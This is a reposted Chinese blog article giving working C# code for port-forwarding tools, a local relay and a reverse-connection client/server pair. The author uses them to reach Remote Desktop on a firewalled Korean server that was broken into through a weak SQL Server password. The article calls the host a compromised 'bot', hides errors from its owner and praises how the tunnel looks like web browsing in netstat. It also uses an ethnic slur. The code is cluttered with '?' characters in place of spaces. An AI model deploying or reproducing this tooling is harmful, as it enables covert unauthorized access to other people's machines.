c#做端口轉發程序支持正向連接和反向鏈接

3389的時候

例子1:連接a機器的3389端口連不上,因為對方防火墻或者網關做了限制,只能訪問a機器的個別端口比如80。

例子2:連接a機器的幾乎所有端口都連不上(對方乃內網或者防火墻網關做了限制),只能1433上去,但是對方可以連接你的某些端口。

?

解決

第一種較簡單,只需要程序在對方開80,你連接他80,程序收到數據后,發送到他本機的3389,同時從他3389收到數據后返回到你。程序就是一個中轉站。

?

[c-sharp]?view plaincopy
  1. using?System;??
  2. using?System<a?href="http://lib.csdn.net/base/dotnet"?class='replace_word'?title=".NET知識庫"?target='_blank'?style='color:#df3434;?font-weight:bold;'>.NET</a>.Sockets;??
  3. using?System.Threading;??
  4. ??
  5. namespace?PortTransponder??
  6. {??
  7. ????class?Program??
  8. ????{??
  9. ????????static?void?Main(string[]?args)??
  10. ????????{??
  11. ????????????TcpListener?tl?=?new?TcpListener(80);//這里開對方可以被你連接并且未被占用的端口??
  12. ????????????tl.Start();??
  13. ????????????while?(true)//這里必須用循環,可以接收不止一個客戶,因為我發現終端服務有時一個端口不行就換一個端口重連??
  14. ????????????{??
  15. ????????????????//下面的意思就是一旦程序收到你發送的數據包后立刻開2個線程做中轉??
  16. ????????????????try??
  17. ????????????????{??
  18. ????????????????????TcpClient?tc1?=?tl.AcceptTcpClient();//這里是等待數據再執行下邊,不會100%占用cpu??
  19. ????????????????????TcpClient?tc2?=?new?TcpClient("localhost",?3389);??
  20. ????????????????????tc1.SendTimeout?=?300000;//設定超時,否則端口將一直被占用,即使失去連接??
  21. ????????????????????tc1.ReceiveTimeout?=?300000;??
  22. ????????????????????tc2.SendTimeout?=?300000;??
  23. ????????????????????tc2.ReceiveTimeout?=?300000;??
  24. ????????????????????object?obj1?=?(object)(new?TcpClient[]?{?tc1,?tc2?});??
  25. ????????????????????object?obj2?=?(object)(new?TcpClient[]?{?tc2,?tc1?});??
  26. ????????????????????ThreadPool.QueueUserWorkItem(new?WaitCallback(transfer),?obj1);??
  27. ????????????????????ThreadPool.QueueUserWorkItem(new?WaitCallback(transfer),?obj2);??
  28. ????????????????}??
  29. ????????????????catch?{?}??
  30. ????????????}??
  31. ????????}??
  32. ????????public?static?void?transfer(object?obj)??
  33. ????????{??
  34. ????????????TcpClient?tc1?=?((TcpClient[])obj)[0];??
  35. ????????????TcpClient?tc2?=?((TcpClient[])obj)[1];??
  36. ????????????NetworkStream?ns1?=?tc1.GetStream();??
  37. ????????????NetworkStream?ns2?=?tc2.GetStream();??
  38. ????????????while?(true)??
  39. ????????????{??
  40. ????????????????try??
  41. ????????????????{??
  42. ????????????????????//這里必須try?catch,否則連接一旦中斷程序就崩潰了,要是彈出錯誤提示讓機主看見那就囧了??
  43. ????????????????????byte[]?bt?=?new?byte[10240];??
  44. ????????????????????int?count?=?ns1.Read(bt,?0,?bt.Length);??
  45. ????????????????????ns2.Write(bt,?0,?count);??
  46. ????????????????}??
  47. ????????????????catch??
  48. ????????????????{??
  49. ????????????????????ns1.Dispose();??
  50. ????????????????????ns2.Dispose();??
  51. ????????????????????tc1.Close();??
  52. ????????????????????tc2.Close();??
  53. ????????????????????break;??
  54. ????????????????}??
  55. ????????????}??
  56. ????????}??
  57. ????}??
  58. }??

這樣在對方機器執行和,直接mstsc /v:對方ip:80就能終端上去了

?

?

第二種稍微復雜一點,需要客戶機和服務器2個程序,你在自己機器上開服務器端,在對方機器上執行客戶端連接你的服務器端,一旦連接上你的服務器端再開個端口讓終端程序連接,對方機器上客戶端再開個端口連接他自己的3389,做2次中轉就可以終端上去了。

具體流程

本機ip開8080端口

對方機器連接你的8080端口,比如端口是49908

連接成功后

你的機器再開一個比如9833端口

對方機器再開一個連接連接他自己的3389,比如端口是49909吧

好這時你用你的mstsc連接自己的 localhost:9833,數據包就從本機9833-本機8080-對方49908-對方49909-對方3389,對方3389的數據反著回來就行了。

?

[c-sharp]?view plaincopy
  1. //服務器端??
  2. using?System;??
  3. using?System.Collections.Generic;??
  4. using?System<a?href="http://lib.csdn.net/base/dotnet"?class='replace_word'?title=".NET知識庫"?target='_blank'?style='color:#df3434;?font-weight:bold;'>.net</a>.Sockets;??
  5. using?System.Threading;??
  6. ??
  7. namespace?fanxiangserver??
  8. {??
  9. ????class?Program??
  10. ????{??
  11. ????????public?static?Dictionary<int,?TcpClient>?dic?=?new?Dictionary<int,?TcpClient>();??
  12. ????????public?static?NetworkStream?kongzhins?=?null;??
  13. ????????static?void?Main(string[]?args)??
  14. ????????{??
  15. ????????????ThreadPool.QueueUserWorkItem(new?WaitCallback(start1));??
  16. ????????????ThreadPool.QueueUserWorkItem(new?WaitCallback(start2));??
  17. ????????????WaitHandle.WaitAll(new?ManualResetEvent[]?{?new?ManualResetEvent(false)?});??
  18. ????????}??
  19. ????????public?static?void?start1(object?obj)??
  20. ????????{??
  21. ????????????TcpListener?tl?=?new?TcpListener(8080);//開一個對方可以連接的端口,今天這棒子機器連他只能1433,其他連不上,他連別人只能80?8080?21?????
  22. ????????????tl.Start();??
  23. ????????????while?(true)??
  24. ????????????{??
  25. ????????????????TcpClient?tc?=?tl.AcceptTcpClient();??
  26. ????????????????jieshou(tc);??
  27. ????????????}??
  28. ????????}??
  29. ????????public?static?void?start2(object?obj)??
  30. ????????{??
  31. ????????????TcpListener?tl?=?new?TcpListener(9833);?//開一個隨意端口讓自己的mstsc連。?????
  32. ????????????tl.Start();??
  33. ????????????while?(true)??
  34. ????????????{??
  35. ????????????????TcpClient?tc?=?tl.AcceptTcpClient();??
  36. ????????????????Random?rnd?=?new?Random();??
  37. ????????????????int?biaoji?=?rnd.Next(1000000000,?2000000000);??
  38. ????????????????dic.Add(biaoji,?tc);??
  39. ????????????????byte[]?bt?=?BitConverter.GetBytes(biaoji);??
  40. ????????????????kongzhins.Write(bt,?0,?bt.Length);??
  41. ????????????}??
  42. ????????}??
  43. ????????public?static?void?jieshou(TcpClient?tc)??
  44. ????????{??
  45. ????????????//這里體現的是一個配對的問題,自己體會一下吧??
  46. ????????????NetworkStream?ns?=?tc.GetStream();??
  47. ????????????byte[]?bt?=?new?byte[4];??
  48. ????????????int?count?=?ns.Read(bt,?0,?bt.Length);??
  49. ????????????if?(count?==?2?&&?bt[0]?==?0x6f?&&?bt[1]?==?0x6b)??
  50. ????????????{??
  51. ????????????????kongzhins?=?ns;??
  52. ????????????}??
  53. ????????????else??
  54. ????????????{??
  55. ????????????????int?biaoji?=?BitConverter.ToInt32(bt,?0);??
  56. ????????????????lianjie(biaoji,?tc);??
  57. ????????????}??
  58. ????????}??
  59. ????????public?static?void?lianjie(int?biaoji,?TcpClient?tc1)??
  60. ????????{??
  61. ????????????TcpClient?tc2?=?null;??
  62. ????????????if?(dic.ContainsKey(biaoji))??
  63. ????????????{??
  64. ????????????????dic.TryGetValue(biaoji,?out?tc2);??
  65. ????????????????dic.Remove(biaoji);??
  66. ????????????????tc1.SendTimeout?=?300000;??
  67. ????????????????tc1.ReceiveTimeout?=?300000;??
  68. ????????????????tc2.SendTimeout?=?300000;??
  69. ????????????????tc2.ReceiveTimeout?=?300000;??
  70. ????????????????object?obj1?=?(object)(new?TcpClient[]?{?tc1,?tc2?});??
  71. ????????????????object?obj2?=?(object)(new?TcpClient[]?{?tc2,?tc1?});??
  72. ????????????????ThreadPool.QueueUserWorkItem(new?WaitCallback(transfer),?obj1);??
  73. ????????????????ThreadPool.QueueUserWorkItem(new?WaitCallback(transfer),?obj2);??
  74. ????????????}??
  75. ????????}??
  76. ????????public?static?void?transfer(object?obj)??
  77. ????????{??
  78. ????????????TcpClient?tc1?=?((TcpClient[])obj)[0];??
  79. ????????????TcpClient?tc2?=?((TcpClient[])obj)[1];??
  80. ????????????NetworkStream?ns1?=?tc1.GetStream();??
  81. ????????????NetworkStream?ns2?=?tc2.GetStream();??
  82. ????????????while?(true)??
  83. ????????????{??
  84. ????????????????try??
  85. ????????????????{??
  86. ????????????????????//這里必須try?catch,否則連接一旦中斷程序就崩潰了,要是彈出錯誤提示讓機主看見那就囧了??
  87. ????????????????????byte[]?bt?=?new?byte[10240];??
  88. ????????????????????int?count?=?ns1.Read(bt,?0,?bt.Length);??
  89. ????????????????????ns2.Write(bt,?0,?count);??
  90. ????????????????}??
  91. ????????????????catch??
  92. ????????????????{??
  93. ????????????????????ns1.Dispose();??
  94. ????????????????????ns2.Dispose();??
  95. ????????????????????tc1.Close();??
  96. ????????????????????tc2.Close();??
  97. ????????????????????break;??
  98. ????????????????}??
  99. ????????????}??
  100. ????????}??
  101. ????}??
  102. }??

[c-sharp]?view plaincopy
  1. //客戶端??
  2. using?System;??
  3. using?System.Text;??
  4. using?System<a?href="http://lib.csdn.net/base/dotnet"?class='replace_word'?title=".NET知識庫"?target='_blank'?style='color:#df3434;?font-weight:bold;'>.Net</a>.Sockets;??
  5. using?System.Threading;??
  6. ??
  7. namespace?fanxiangclient??
  8. {??
  9. ????class?Program??
  10. ????{??
  11. ????????public?static?NetworkStream?kongzhins?=?null;??
  12. ????????static?void?Main(string[]?args)??
  13. ????????{??
  14. ????????????try??
  15. ????????????{??
  16. ????????????????TcpClient?tc?=?new?TcpClient("你的IP",?8080);??
  17. ????????????????kongzhins?=?tc.GetStream();??
  18. ????????????????byte[]?bt?=?Encoding.Default.GetBytes("ok");//這里發送一個連接提示??
  19. ????????????????kongzhins.Write(bt,?0,?bt.Length);??
  20. ????????????????jieshou();??
  21. ????????????????WaitHandle.WaitAll(new?ManualResetEvent[]?{?new?ManualResetEvent(false)?});//這里為什么要這樣呢?我發現sqlserver執行是localsystem賬號如果console.read()程序馬上退出??
  22. ????????????}??
  23. ????????????catch?{?}??
  24. ????????}??
  25. ????????public?static?void?jieshou()??
  26. ????????{??
  27. ????????????while?(true)??
  28. ????????????{??
  29. ????????????????byte[]?bt?=?new?byte[4];??
  30. ????????????????kongzhins.Read(bt,?0,?bt.Length);??
  31. ????????????????TcpClient?tc1?=?new?TcpClient("你的IP",?8080);??
  32. ????????????????TcpClient?tc2?=?new?TcpClient("localhost",?3389);??
  33. ????????????????tc1.SendTimeout?=?300000;??
  34. ????????????????tc1.ReceiveTimeout?=?300000;??
  35. ????????????????tc2.SendTimeout?=?300000;??
  36. ????????????????tc2.ReceiveTimeout?=?300000;??
  37. ????????????????tc1.GetStream().Write(bt,?0,?bt.Length);??
  38. ????????????????object?obj1?=?(object)(new?TcpClient[]?{?tc1,?tc2?});??
  39. ????????????????object?obj2?=?(object)(new?TcpClient[]?{?tc2,?tc1?});??
  40. ????????????????ThreadPool.QueueUserWorkItem(new?WaitCallback(transfer),?obj1);??
  41. ????????????????ThreadPool.QueueUserWorkItem(new?WaitCallback(transfer),?obj2);??
  42. ????????????}??
  43. ????????}??
  44. ????????public?static?void?transfer(object?obj)??
  45. ????????{??
  46. ????????????TcpClient?tc1?=?((TcpClient[])obj)[0];??
  47. ????????????TcpClient?tc2?=?((TcpClient[])obj)[1];??
  48. ????????????NetworkStream?ns1?=?tc1.GetStream();??
  49. ????????????NetworkStream?ns2?=?tc2.GetStream();??
  50. ????????????while?(true)??
  51. ????????????{??
  52. ????????????????try??
  53. ????????????????{??
  54. ????????????????????byte[]?bt?=?new?byte[10240];??
  55. ????????????????????int?count?=?ns1.Read(bt,?0,?bt.Length);??
  56. ????????????????????ns2.Write(bt,?0,?count);??
  57. ????????????????}??
  58. ????????????????catch??
  59. ????????????????{??
  60. ????????????????????ns1.Dispose();??
  61. ????????????????????ns2.Dispose();??
  62. ????????????????????tc1.Close();??
  63. ????????????????????tc2.Close();??
  64. ????????????????????break;??
  65. ????????????????}??
  66. ????????????}??
  67. ????????}??
  68. ????}??
  69. }??

?

?

?

好,這樣你連接mstsc /v:localhost:9833,后數據就經過了好幾轉轉到了對方的3389上。這樣即使對方是內網也可以被終端了,而且好處是對方查看netstat -an看到的是這種東西

?

?

?? ??

? ????? ?? ???????????? ?? ??????????????? ??
? TCP??? 0.0.0.0:135??????????? 0.0.0.0:0????????????? LISTENING
? TCP??? 0.0.0.0:445??????????? 0.0.0.0:0????????????? LISTENING
? TCP??? 0.0.0.0:1433?????????? 0.0.0.0:0????????????? LISTENING
? TCP??? 0.0.0.0:3389?????????? 0.0.0.0:0????????????? LISTENING
? TCP??? 0.0.0.0:5357?????????? 0.0.0.0:0????????????? LISTENING
? TCP??? 0.0.0.0:49152????????? 0.0.0.0:0????????????? LISTENING
? TCP??? 0.0.0.0:49153????????? 0.0.0.0:0????????????? LISTENING
? TCP??? 0.0.0.0:49154????????? 0.0.0.0:0????????????? LISTENING
? TCP??? 0.0.0.0:49155????????? 0.0.0.0:0????????????? LISTENING
? TCP??? 0.0.0.0:49156????????? 0.0.0.0:0????????????? LISTENING
? TCP??? 0.0.0.0:49157????????? 0.0.0.0:0????????????? LISTENING
? TCP??? 他的IP:139???????????? 0.0.0.0:0????????????? LISTENING
? TCP??? 他的IP:49908?????????? 我的IP:8080??????????? ESTABLISHED
? TCP??? [::]:135?????????????? [::]:0???????????????? LISTENING
? TCP??? [::]:445?????????????? [::]:0???????????????? LISTENING
? TCP??? [::]:3389????????????? [::]:0???????????????? LISTENING
? TCP??? [::]:5357????????????? [::]:0???????????????? LISTENING
? TCP??? [::]:49152???????????? [::]:0???????????????? LISTENING
? TCP??? [::]:49153???????????? [::]:0???????????????? LISTENING
? TCP??? [::]:49154???????????? [::]:0???????????????? LISTENING
? TCP??? [::]:49155???????????? [::]:0???????????????? LISTENING
? TCP??? [::]:49156???????????? [::]:0???????????????? LISTENING
? TCP??? [::]:49157???????????? [::]:0???????????????? LISTENING
? TCP??? [::1]:3389???????????? [::1]:49909??????????? ESTABLISHED
? TCP??? [::1]:49909??????????? [::1]:3389???????????? ESTABLISHED
? UDP??? 0.0.0.0:123??????????? *:*
? UDP??? 0.0.0.0:500??????????? *:*
? UDP??? 0.0.0.0:1434?????????? *:*
? UDP??? 0.0.0.0:3702?????????? *:*
? UDP??? 0.0.0.0:3702?????????? *:*
? UDP??? 0.0.0.0:4500?????????? *:*
? UDP??? 0.0.0.0:5355?????????? *:*
? UDP??? 0.0.0.0:64966????????? *:*
? UDP??? 他的IP:137???????????? *:*
? UDP??? 他的IP:138???????????? *:*
? UDP??? [::]:123?????????????? *:*
? UDP??? [::]:500?????????????? *:*
? UDP??? [::]:3702????????????? *:*
? UDP??? [::]:3702????????????? *:*
? UDP??? [::]:5355????????????? *:*
? UDP??? [::]:64967???????????? *:*

?

只能看到他的49908在連接我的8080,就像看網站一樣,要是80就更像了,而49909連接3389一般注意不到,反正沒有ip地址,這棒子想不到吧,他做的這么變態的限制都被終端上去了,起因就是sqlserver弱口令和權限,這個機器是win2008,i7 920的u,不明白棒子的網管為什么一點安全知識都沒有,而且屢教不改,上次進去一看,那機器已經被國內黑克給x了n遍了,上邊布滿了木馬,最后實在啟動不了了,他重裝了,結果那個sqlserver還是那個權限還是那個密碼,服氣吧。但是如果netstat -ano發現連我的pid和連3389的pid是一個那就可以發現了。

?

以上程序都是經我測試后非常ok的,但是沒有經過優化,尤其是反向連接的,可以做成個服務是吧,或者連接的時候加個驗證啦什么的,還有我的Ip地址也是變的,可以做成個服務,定時讀取某一網頁上我的新ip,告訴他連還是不連啦,什么的。而且還可以做成個http代理翻wall啦,總之花樣是很多的。

?

2010年9月10日下午18點更正反向連接的一個小問題,即連接配對的問題,這樣的話只要肉雞反向連接到你的服務器端,你可以開多個終端上去用不同的賬號同時登陸了。

?

看到好多人說cpu占用率高什么的,我補充一句,我給出代碼的目的是告訴大家端口轉發的方法和思路,并不是讓你直接粘過去用,如果那樣的話我直接編譯成exe不就完了嗎,授人以魚不如授人以漁對吧,所以大家看明白了怎么回事自己去改和優化,像緩沖區大小是否合適啦,超時啦,連接判斷啦什么的,這些都是要自己去優化的,所以代碼很短嘛,就是為了讓大家看的簡單明了,所以直接用的話效率不會很高,但這是個完整骨架,我自己用的就在這段骨架的基礎上優化并增加了很多功能,而且cpu占用率內存占用都是沒有問題的。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/387595.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/387595.shtml
英文地址,請注明出處:http://en.pswp.cn/news/387595.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Spring Boot(十四):spring boot整合shiro-登錄認證和權限管理

Spring Boot(十四)&#xff1a;spring boot整合shiro-登錄認證和權限管理 使用Spring Boot集成Apache Shiro。安全應該是互聯網公司的一道生命線&#xff0c;幾乎任何的公司都會涉及到這方面的需求。在Java領域一般有Spring Security、Apache Shiro等安全框架&#xff0c;但是由…

通用權限管理系統組件 (GPM - General Permissions Manager) 不改數據庫、甚至不寫代碼就集成銅墻鐵壁權限管理組件...

為什么80%的碼農都做不了架構師&#xff1f;>>> 越成熟的東西&#xff0c;越牛X的東西&#xff0c;越簡單才對&#xff0c;簡單才是硬道理&#xff0c;蘋果的手機只有少數幾個按鍵&#xff0c;蘋果Ipad也很少的按鈕&#xff0c;甚至連蘋果的筆記本鍵盤都少一排&…

數學符號及讀法大全

數學符號及讀法大全 常用數學輸入符號&#xff1a; ≈ ≡ ≠ &#xff1d; ≤≥ &#xff1c; &#xff1e; ≮ ≯ ∷ &#xff0b; &#xff0d; &#xff0f; ∫ ∮ ∝ ∞ ∧ ∨ ∑ ∏ ∪ ∩ ∈ ∵ ∴ ⊥ ‖ ∠ ⌒ ≌ ∽ √ &#xff08;&#xff09; 【】&#xff5b…

在使用win 7 無線承載網絡時,啟動該服務時,有時會提示:組或資源的狀態不是執行請求操作的正確狀態。 網上有文章指出,解決這個問題的方法是在設備管理器中啟動“Microsoft托管網絡虛擬適配

在使用win 7 無線承載網絡時&#xff0c;啟動該服務時&#xff0c;有時會提示&#xff1a;組或資源的狀態不是執行請求操作的正確狀態。 網上有文章指出&#xff0c;解決這個問題的方法是在設備管理器中啟動“Microsoft托管網絡虛擬適配器”&#xff0c;見 http://jingyan.baid…

阿里一年,聊聊我成長了什么,入職阿里的職業生涯感悟

2018.5.31~2019.5.31&#xff0c;一段精彩的旅程&#xff0c;渡過了在阿里一年的時光&#xff0c;這段時光有快樂、有焦慮、有迷茫、更有思考&#xff0c;思考的是自己過去的種種不足、思考的是一些現在看來之前錯誤的想法、思考的是如何成為一個更好的技術人&#xff0c;將這一…

偏差-方差分解(轉)

1、定義 這里所說的偏差-方差分解就是一種解釋模型泛化性能的一種工具。它是對模型的期望泛化錯誤率進行拆解。 樣本可能出現噪聲&#xff0c;使得收集到的數據樣本中的有的類別與實際真實類別不相符。對測試樣本 x&#xff0c;另 yd 為 x 在數據集中的標記&#xff0c;y 為真實…

用過C#的朋友可能認為它是一種十分安全的語言,其實C#也可以做到經典的緩沖區溢出。 本文章將用一個實例來描述C#究竟是如何發生緩沖區溢出的! 首先建立一個C# Console工程,并開啟工程的“允許

用過C#的朋友可能認為它是一種十分安全的語言&#xff0c;其實C#也可以做到經典的緩沖區溢出。 本文章將用一個實例來描述C#究竟是如何發生緩沖區溢出的&#xff01; 首先建立一個C# Console工程&#xff0c;并開啟工程的“允許不安全代碼”選項 鍵入代碼&#xff1a; [csharp]…

COOKIE偽造登錄網站后臺

1.關于XSS&#xff08;跨站腳本攻擊&#xff09;和CSRF&#xff08;跨站請求偽造&#xff09;的知識&#xff0c;xss表示Cross Site Scripting(跨站腳本攻擊)&#xff0c;它與SQL注入攻擊類似&#xff0c;SQL注入攻擊中以SQL語句作為用戶輸入&#xff0c;從而達到查詢/修改/刪除…

Spring Cloud 學習 (五) Zuul

Zuul 作為路由網關組件&#xff0c;在微服務架構中有著非常重要的作用&#xff0c;主要體現在以下 6 個方面&#xff1a; Zuul, Ribbon 以及 Eureka 相結合&#xff0c;可以實現智能路由和負載均衡的功能&#xff0c;Zuul 能夠將請求流量按某種策略分發到集群狀態的多個服務實例…

如何利用445端口進行入侵滲透 445端口入侵原因詳細解析。大家在進行入侵滲透個人電腦的時候,經常會碰到各種各樣的端口,比如135,1433,445,3306等端口,現在小編就給大家講解下445端口如

如何利用445端口進行入侵滲透 445端口入侵原因詳細解析。大家在進行入侵滲透個人電腦的時候&#xff0c;經常會碰到各種各樣的端口&#xff0c;比如135&#xff0c;1433&#xff0c;445&#xff0c;3306等端口&#xff0c;現在小編就給大家講解下445端口如何入侵。 445端口入侵…

項目復盤

前言 最近一年半多一直在做一個CMS項目&#xff0c;做了快兩年了也沒有上線&#xff0c;而且開發還走了不少&#xff0c;其中有不少原因是因為開發中頻繁改動需求導致開發人員失去耐心&#xff0c;但是其中還有一個重要的原因就是架構設計的不好&#xff0c;導致很多服務的邊界…

父、子頁面之間頁面元素的獲取,方法的調用

一、在iframe頁面上調取父級頁面元素 1.在父頁面上獲取iframe頁面元素(在父頁面修改子頁面div的背景色為紅色) js代碼如下&#xff1a; 1 <script type"text/javascript"> 2 window.onload function(){ 3 var iframe document.getElementById(iframeId)…

fiddler,他和其他抓包軟件有什么區別,如何使用fiddler進行抓包

前言&#xff1a;本文章是搭配《批量獲取微信公眾號》一文&#xff0c;介于群里朋友很熱情&#xff0c;我就趁著上班測完bug 來撰寫該文章&#xff0c;那么讀完本文&#xff0c;你會學習到什么呢&#xff1f; 什么是fiddler&#xff0c;他和其他抓包軟件有什么區別&#xff0c…

Vue導入非模塊化的第三方插件功能無效解決方案

一、問題&#xff1a; 最近在寫vue項目時&#xff0c;想引入某些非模塊化的第三方插件時&#xff0c;總是發現會有報錯。且在與本地運行插件測試對比時發現插件根本沒有注入到jQuery中&#xff08;console.log($.fn)查看當前jq有哪些方法&#xff09;&#xff0c;例如&#xff…

ES6筆記 -- 字符串拓展

字符串拓展 Unicode 相關 JS 允許使用/uxxxx的Unicode方式顯示字符, 但是只限于碼點在/u0000~/uFFFF之間, 超過該范圍的碼點必須用雙字節形式表示ES6 中, 將碼點放入大括號內, 就可以解讀JS 不能處理4個字節的字符, 字符串長度會被誤判為2ES6 提供了codePointAt方法, 能夠正確處…

android 轉發短信

通過這些代碼也可以對遠程手機實現短信控制。有興趣的可以自己改一下&#xff0c;說一下簡單的原理&#xff0c;要實現控制的話&#xff0c;必須得走一個固定的號碼&#xff0c;固定的格式&#xff0c;然后通過得到此號碼的內容&#xff0c;然后通過固定的內容&#xff0c;就可…

[Noi2016]區間

傳送門 Code /* 線段樹 尺取法 */ #include<bits/stdc.h> #define ll long long #define max(a,b) ((a)>(b)?(a):(b)) #define min(a,b) ((a)>(b)?(b):(a)) #define reg register inline int read() {int x0,f1;char chgetchar();while(ch<0||ch>9){if(…

安裝CentOS6.8并配置網絡圖文解說親測全過程

安裝環境&#xff1a; 本文是在win10系統安裝上VMWare并配置Centos6.8虛擬機。 準備工作 1.安裝VMWare虛擬機 1.1下載VMWare12資源鏈接&#xff1a;https://pan.baidu.com/s/1AhfMSDXLO-aA0eMqnuMWHg 提取碼&#xff1a;iftd 1.2安裝VMWare&#xff0c;在安裝過程中需要輸入密鑰…

Paxos算法是萊斯利·蘭伯特(Leslie Lamport)1990年提出的一種基于消息傳遞的一致性算法。

Paxos算法是萊斯利蘭伯特(Leslie Lamport)1990年提出的一種基于消息傳遞的一致性算法。Paxos算法解決的問題是一個分布式系統如何就某個值&#xff08;決議&#xff09;達成一致。在工程實踐意義上來說&#xff0c;就是可以通過Paxos實現多副本一致性&#xff0c;分布式鎖&…

09、策略模式

2019獨角獸企業重金招聘Python工程師標準>>> 策略模式與工廠模式最大的區別在于&#xff0c;策略模式注重的是對算法的維護&#xff0c;也可以理解為對算法的封裝。而工廠模式&#xff0c;則只是負責創建類&#xff0c;在剛接觸策略模式時候&#xff0c;往往與工廠模…